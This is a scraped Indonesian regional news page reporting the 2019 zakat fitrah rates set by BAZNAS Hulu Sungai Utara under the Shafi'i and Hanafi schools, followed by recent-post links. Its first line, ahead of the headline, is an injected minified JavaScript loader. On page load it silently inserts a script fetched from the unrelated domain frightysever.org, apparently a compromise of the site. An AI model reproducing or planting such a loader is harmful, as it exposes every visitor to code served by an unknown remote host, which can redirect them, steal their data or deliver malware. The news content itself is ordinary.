(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
RELIGI

Berikut Penetapan Zakat Fitrah Baznas HSU Merujuk Dua Imam Mazhab


AMUNTAI, Badan Amil Zakat Nasional (BAZNAS) Kabupaten Hulu Sungai Utara (HSU) secara resmi merilis penetapan nilai zakat fitrah Ramadhan 1440 Hijriyah untuk wilayah Kabupaten HSU.

Penetapan nilai zakat fitrah sendiri dilakukan setelah BAZNAS HSU bersama MUI Kabupaten HSU, Kantor Kementerian Agama HSU, serta Disperindagkop UKM HSU yang sebelumnya menggelar rapat koordinasi pada 8 Mei 2019.

Hasilnya, diambil penetapan nilai zakat fitrah berdasarkan kepada dua rujukan Imam Ahlusunah Wal Jamaah yang mayoritas diikuti oleh masyarakat Kabupaten HSU dan Indonesia pada umumnya.

Yang pertama, zakat fitrah yang dikeluarkan oleh setiap orang sesuai dengan beras dia makan, menurut Mazhab Syafi’i yaitu nilai satu gantang beras setara dengan 3,4 liter (10 kaleng susu kental manis) atau 2,7 Kg yakni 1 belik beras untuk 6 orang.

Adapun warga yang mau membeli beras untuk zakat fitrah tersebut dapat dinilai harganya sebagai berikut ; beras mayang dan sejenisnya Rp 40ribu/jiwa, beras unus dan sejenisnya Rp 35ribu/jiwa, siam, karang dukuh dan sejenisnya Rp 30rb/jiwa, beras ciherang/beras biasa sejenisnya Rp 22ribu/jiwa.

Sementara yang kedua, menurut Mazhab Hanafi yaitu ; nilai beras 1 gantang fitrah setara dengan 3,8 Kg atau 5 liter (1 gantang), 1 belik untuk 4 orang. Dengan nilai harga : beras mayang sejenis Rp 60ribu/jiwa, beras unus sejenis Rp 50ribu/jiwa, siam karang dukuh sejenis Rp 40 ribu/jiwa, beras ciherang beras biasa sejenis Rp 32ribu/jiwa.

Ketua MUI HSU, KH Said Masrawan kepada Kanalkalimantan.com, Rabu (15/5/2019) mengungkapkan, pemilihan sumber rujukan sesuai Mazhab Syafi’i dalam penetapan nilai zakat fitrah sendiri, diambil karena mayoritas di daerah bermazhab Syafi’i.

Sedangkan untuk sumber rujukan Mazhab Hanafi diambil karena pada awalnya mazhab inilah yang memberikan pandangan tentang bolehnya memberikan nilai zakat fitrah dengan nilai uang.

“Sementara menurut Mazhab Maliki dan Mazhab Ahmad Ibnu Hambal sama halnya pandangannya dengan Mazhab Syafi’i,” pungkasnya.

Kabid Perdagangan Disperindagkop UKM HSU, Marzuki mengatakan, penetapan nilai zakat fitrah ini dimaksudkan untuk mempermudah masyarakat untuk dapat memberikan zakatnya baik berupa beras, maupun berupa uang yang nilainya sudah disesuaikan dengan harga beras sekarang. “Masyarakat dapat memilih sesuai keinginannya, yang sudah diatur sesuai nasab nilai zakatnya,” ujarnya. (dew)

Reporter:Dew
Editor:Bie

Desy Arfianty

Recent Posts

Laga Terakhir Timnas Indonesia Berharap Juara Ketiga Piala Asia U-23

KANALKALIMANTAN.COM, BANJARBARU - Tim Nasional (Timnas) Indonesia U-23 dipastikan gagal melaju ke final Piala Asia… Read More

2 jam ago

Atraksi Ritual Laluhan Warnai Hari Jadi ke-218 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Atraksi budaya ritual Laluhan Suku Dayak Ngaju ditampilkan memeriahkan Hari Jadi… Read More

10 jam ago

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

12 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

13 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

17 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

18 jam ago

This website uses cookies.